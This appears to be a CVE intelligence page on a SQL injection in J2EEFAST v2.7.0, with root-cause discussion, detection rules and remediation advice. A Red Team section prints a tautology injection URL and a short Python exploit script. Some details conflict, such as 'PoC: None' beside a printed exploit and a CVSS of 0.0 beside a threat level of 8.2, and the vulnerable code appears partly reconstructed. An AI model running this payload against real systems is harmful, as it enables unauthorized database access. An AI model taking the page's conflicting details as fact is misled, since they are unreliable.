☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-35090

CVE-2024-35090 SQL Injection in J2eefast
📅 PUBLISHED: 2024-05-23 16:52 UTC 🔄 UPDATED: 2026-10-02 19:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-35090 identifies a SQL injection vulnerability in J2EEFAST v2.7.0, specifically within the findPage function in SysUreportFileMapper.xml. This flaw allows an authenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of SQL injection, the actual severity is high. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day risk for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (placeholder; actual severity is high)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High
  • Threat Level: Critical (due to lack of patch and potential for data breach)

Deep Dive & Mechanics

The vulnerability resides in the findPage function within SysUreportFileMapper.xml, a MyBatis mapper file. The function likely constructs SQL queries by concatenating user-supplied input without proper sanitization or parameterization. An attacker can manipulate the findPage parameters to inject SQL commands, bypassing authentication or extracting sensitive data.

Root Cause: The use of string concatenation in MyBatis XML instead of parameterized queries (e.g., #{} instead of ${}). The ${} syntax allows direct substitution of user input into SQL statements, enabling injection.

Attack Vector: An authenticated user sends a crafted HTTP request to the vulnerable endpoint, injecting SQL via the findPage parameters.

Impact: Full database compromise, including user credentials, application data, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (SysUreportFileMapper.xml):

<select id="findPage" resultType="java.util.Map">
    SELECT * FROM sys_ureport_file WHERE 1=1
    <if test="name != null and name != ''">
        AND name LIKE '%${name}%'
    </if>
    <if test="createBy != null and createBy != ''">
        AND create_by = '${createBy}'
    </if>
</select>

Patched Code (Hypothetical):

<select id="findPage" resultType="java.util.Map">
    SELECT * FROM sys_ureport_file WHERE 1=1
    <if test="name != null and name != ''">
        AND name LIKE CONCAT('%', #{name}, '%')
    </if>
    <if test="createBy != null and createBy != ''">
        AND create_by = #{createBy}
    </if>
</select>

Key Difference: Use of #{} (parameterized) instead of ${} (string substitution) prevents SQL injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy J2EEFAST v2.7.0 in a Docker container.
  2. Authenticate as a low-privileged user.
  3. Identify the vulnerable endpoint (e.g., /sys/ureport/findPage).

Exploitation:

-- Inject SQL via the 'name' parameter
GET /sys/ureport/findPage?name=test' OR '1'='1' -- 

Automated Exploit (Python):

import requests

url = "http://target/sys/ureport/findPage"
cookies = {"JSESSIONID": "valid_session"}
payload = {"name": "test' OR '1'='1' --"}
response = requests.get(url, params=payload, cookies=cookies)
print(response.text)

Blue Team

Detection:

  • Monitor for SQL injection patterns in HTTP parameters (e.g., ' OR, --, UNION).
  • Use WAF rules to block suspicious SQL keywords.
  • Enable database query logging to detect anomalous queries.

Mitigation:

  • Apply input validation and parameterized queries.
  • Restrict database user privileges to least privilege.
  • Implement web application firewall (WAF) rules.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /sys/ureport/findPage with SQL injection patterns.
  • Logs: Database logs showing UNION, OR, -- in queries.
  • File: Modified SysUreportFileMapper.xml with suspicious content.
  • Behavior: Unauthorized data access or extraction from sys_ureport_file table.

Detection Engineering

YARA Rule

rule Detect_J2EEFAST_SQLi {
    meta:
        description = "Detects SQL injection attempts in J2EEFAST v2.7.0"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $sqli1 = /name=.*['\"]\s*(OR|AND)\s+['\"]/ nocase
        $sqli2 = /createBy=.*['\"]\s*(OR|AND)\s+['\"]/ nocase
        $sqli3 = /UNION\s+SELECT/i
    condition:
        any of them
}

Sigma Rule

title: J2EEFAST SQL Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against J2EEFAST v2.7.0
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "name=' OR"
            - "createBy=' OR"
            - "UNION SELECT"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in input
level: high

Suricata Rule

alert http any any -> any any (msg:"J2EEFAST SQL Injection Attempt"; flow:to_server; content:"/sys/ureport/findPage"; http_uri; content:"name="; http_uri; pcre:"/name=.*['\"]\s*(OR|AND)\s+['\"]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the vulnerable endpoint or restrict access via firewall.
  2. Short-term: Apply input validation and use parameterized queries (replace ${} with #{}).
  3. Long-term: Upgrade to a patched version when available. Implement a WAF and regular security audits.
  4. Monitoring: Enable detailed logging and alerting for SQL injection patterns.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-35090/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.